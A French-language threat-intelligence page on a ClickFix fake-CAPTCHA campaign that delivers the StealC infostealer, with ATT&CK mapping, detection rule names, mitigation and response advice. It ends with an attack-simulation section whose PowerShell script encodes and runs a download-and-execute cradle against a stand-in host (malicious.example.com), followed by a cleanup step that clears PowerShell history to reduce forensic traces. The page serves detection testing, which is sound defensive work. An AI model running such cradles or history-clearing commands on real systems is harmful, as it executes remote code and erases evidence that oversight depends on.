Comment ClickFix Ouvre la Porte au Voleur d’Informations StealC Sournois
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Une intrusion sans fichier, en plusieurs étapes, débute sur le site compromis d’un restaurant vietnamien hébergeant un faux CAPTCHA. Les victimes sont incitées à exécuter un PowerShell qui extrait du shellcode indépendant de la position, charge de manière réfléchie un téléchargeur 64 bits et injecte le voleur d’informations StealC dans svchost.exe. StealC collecte les identifiants de navigateurs, les données des portefeuilles de cryptomonnaies, les identifiants Steam et Outlook, les détails de l’hôte et les captures d’écran, puis exfiltre via un trafic HTTP chiffré par RC4.
Investigation
Les chercheurs ont disséqué le chargeur JavaScript et PowerShell, ont confirmé l’utilisation du framework de shellcode Donut, et ont suivi les récupérations HTTP du téléchargeur vers des URLs contrôlées par l’attaquant. Le stealer semble être un malware doté de fonctions de vol modulaire, fourni en mode malware-as-a-service, avec une routine d’auto-suppression. Les notes de chasse incluent une valeur User-Agent de « Loader » et des clés de registre spécifiques liées à la mise en scène et à l’exécution.
Atténuation
Les défenses recommandées incluent la limitation ou la désactivation de la fonction de collage dans les navigateurs, le renforcement des politiques d’exécution de PowerShell et l’alerte sur des chaînes User-Agent inhabituelles. Ajoutez la détection du chargement PE réfléchi et de l’injection de processus, et appliquez l’inspection des sorties HTTP pour la livraison des charges utiles encodées en Base64. L’éducation des utilisateurs sur les appâts CAPTCHA fictifs devrait être considérée comme un contrôle, pas une réflexion après coup.
Réponse
En cas de découverte, isolez le point de terminaison, arrêtez l’instance injectée de svchost.exe, capturez les dumps de mémoire pour l’examen du shellcode et bloquez les domaines/URLs malveillants. Réinitialisez les identifiants exposés, examinez les artefacts de registre et de navigateur pour en mesurer l’impact, et surveillez le trafic C2 résiduel.
graph TB %% Définitions des classes classDef technique fill:#99ccff classDef action fill:#ffcc99 classDef process fill:#dddddd tech_content_injection[« <b>Technique</b> – <b>T1659 Injection de Contenu</b> : JavaScript malveillant injecté dans un site web compromis diffusant un faux CAPTCHA. »] class tech_content_injection technique attack_user_exec[« <b>Action</b> – <b>T1204.004 Exécution Utilisateur : Copier-Coller Malveillant</b> : La victime exécute une commande PowerShell via Win+R et Ctrl+V. »] class attack_user_exec action tech_powershell[« <b>Technique</b> – <b>T1059.001 PowerShell</b> : Exécute un script PowerShell qui télécharge un chargeur en mémoire. »] class tech_powershell technique tech_obfuscation[« <b>Technique</b> – <b>T1027 Fichiers ou Informations Obfusqués</b> : Shellcode et chaînes chiffrés, résolution dynamique d’API (T1027.007), charges utiles dépouillées (T1027.008). »] class tech_obfuscation technique tech_process_injection[« <b>Technique</b> – <b>T1055 Injection de Processus</b> : Injection d’Exécutable Portable (T1055.002) et Process Hollowing (T1055.012) dans svchost.exe. »] class tech_process_injection technique tech_masquerading[« <b>Technique</b> – <b>T1036 Déguisement</b> : Utilisation du processus légitime svchost.exe pour masquer l’activité malveillante. »] class tech_masquerading technique tech_cred_browser[« <b>Technique</b> – <b>T1555.003 Identifiants depuis Navigateurs Web</b> : Vol d’identifiants stockés dans le navigateur. »] class tech_cred_browser technique tech_steal_cookie[« <b>Technique</b> – <b>T1539 Vol de Cookie de Session Web</b> : Capture des cookies d’authentification du navigateur. »] class tech_steal_cookie technique tech_use_cookie[« <b>Technique</b> – <b>T1550.004 Utilisation de Matériel d’Authentification Alternatif : Cookie de Session Web</b> : Réutilisation de cookies volés pour un accès authentifié. »] class tech_use_cookie technique tech_browser_discovery[« <b>Technique</b> – <b>T1217 Découverte d’Informations Navigateur</b> : Collecter des informations sur les navigateurs installés et leurs configurations. »] class tech_browser_discovery technique tech_archive[« <b>Technique</b> – <b>T1560 Archivage des Données Collectées</b> : Compresser ou archiver les données avant exfiltration. »] class tech_archive technique tech_exfil_c2[« <b>Technique</b> – <b>T1041 Exfiltration via Canal C2</b> : Transférer les données via le canal de commande et contrôle. »] class tech_exfil_c2 technique tech_encrypted_channel[« <b>Technique</b> – <b>T1573 Canal Chiffré</b> : Protéger l’exfiltration avec chiffrement (Base64+RC4). »] class tech_encrypted_channel technique tech_exfil_alt[« <b>Technique</b> – <b>T1048.001 Exfiltration via Protocole Alternatif</b> : Utilisation de protocoles alternatifs pour l’exfiltration de données. »] class tech_exfil_alt technique tech_file_deletion[« <b>Technique</b> – <b>T1070.004 Suppression de Fichiers</b> : Supprimer fichiers et artefacts pour couvrir les traces. »] class tech_file_deletion technique tech_clear_persistence[« <b>Technique</b> – <b>T1070.009 Nettoyage de Persistance</b> : Supprimer les mécanismes de persistance après exécution. »] class tech_clear_persistence technique %% Connexions montrant le flux d’attaque tech_content_injection –>|leads_to| attack_user_exec attack_user_exec –>|executes| tech_powershell tech_powershell –>|uses| tech_obfuscation tech_obfuscation –>|enables| tech_process_injection tech_process_injection –>|uses| tech_masquerading tech_process_injection –>|enables| tech_cred_browser tech_process_injection –>|enables| tech_steal_cookie tech_cred_browser –>|supports| tech_browser_discovery tech_browser_discovery –>|feeds| tech_archive tech_archive –>|compressed_data| tech_exfil_c2 tech_steal_cookie –>|enables| tech_use_cookie tech_use_cookie –>|leads_to| tech_exfil_c2 tech_exfil_c2 –>|protected_by| tech_encrypted_channel tech_exfil_c2 –>|uses| tech_exfil_alt tech_exfil_c2 –>|triggers| tech_file_deletion tech_file_deletion –>|also| tech_clear_persistence
Attack Flow
Detections
Possible PING Usage for Delay Execution (via cmdline)
View
Suspicious File Download Direct IP (via proxy)
View
LOLBAS wmic (via cmdline)
View
Download or Upload via Powershell (via cmdline)
View
IOCs (SourceIP) to detect: How ClickFix Opens the Door to Stealthy StealC Information Stealer
View
IOCs (HashSha256) to detect: How ClickFix Opens the Door to Stealthy StealC Information Stealer
View
IOCs (DestinationIP) to detect: How ClickFix Opens the Door to Stealthy StealC Information Stealer
View
Detect StealC Information Stealer Network Activity [Windows Network Connection]
View
Detect Process Injection via StealC into svchost.exe [Windows Process Creation]
View
PowerShell EncodedCommand and iex(irm) Detected [Windows Powershell]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.
-
Attack Narrative & Commands:
An attacker receives a phishing email containing a short URL. The goal is to install a remote PowerShell backdoor without alerting the user. The attacker crafts a Base64‑encoded PowerShell payload that downloads a malicious script from a C2 server and immediately executes it using
iex(irm…). By using the-EncodedCommandswitch, the attacker hides the actual commands from casual inspection, and theiex(irm…)pattern directly matches the detection rule.-
Create the malicious script (
payload.ps1) hosted onhttp://malicious.example.com/payload.ps1. -
Encode the launcher command:
$launcher = "iex((New-Object System.Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))" $bytes = [System.Text.Encoding]::Unicode.GetBytes($launcher) $encoded = [Convert]::ToBase64String($bytes) Write-Output $encoded # This value is used in the next step -
Execute the encoded command on the target:
powershell.exe -EncodedCommand <Base64StringFromStep2>
This generates a Sysmon ProcessCreate event where
CommandLinecontains-EncodedCommandand the decoded text includesiex(irm…), satisfying the Sigma rule. -
-
Regression Test Script:
#----------------------------------------------------------- # Simulation Script – Triggers PowerShell EncodedCommand + iex(irm) #----------------------------------------------------------- # 1. Define malicious script URL (replace with your test server) $maliciousUrl = "http://malicious.example.com/payload.ps1" # 2. Build the one‑liner that downloads and executes the script $cmd = "iex((New-Object System.Net.WebClient).DownloadString('$maliciousUrl'))" # 3. Encode the command in Base64 (Unicode) $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd) $b64 = [Convert]::ToBase64String($bytes) # 4. Launch PowerShell with the encoded command Write-Host "Executing encoded command..." Start-Process -FilePath "$env:windirSystem32WindowsPowerShellv1.0powershell.exe" ` -ArgumentList "-EncodedCommand $b64" ` -NoNewWindow -Wait Write-Host "Simulation completed." -
Cleanup Commands:
# Remove any temporary files created by the simulated payload (if any) # Example: delete the downloaded script if it was saved locally $tempPath = "$env:TEMPpayload.ps1" if (Test-Path $tempPath) { Remove-Item $tempPath -Force Write-Host "Removed temporary payload." } # Optionally, clear the PowerShell history to reduce forensic trace Clear-History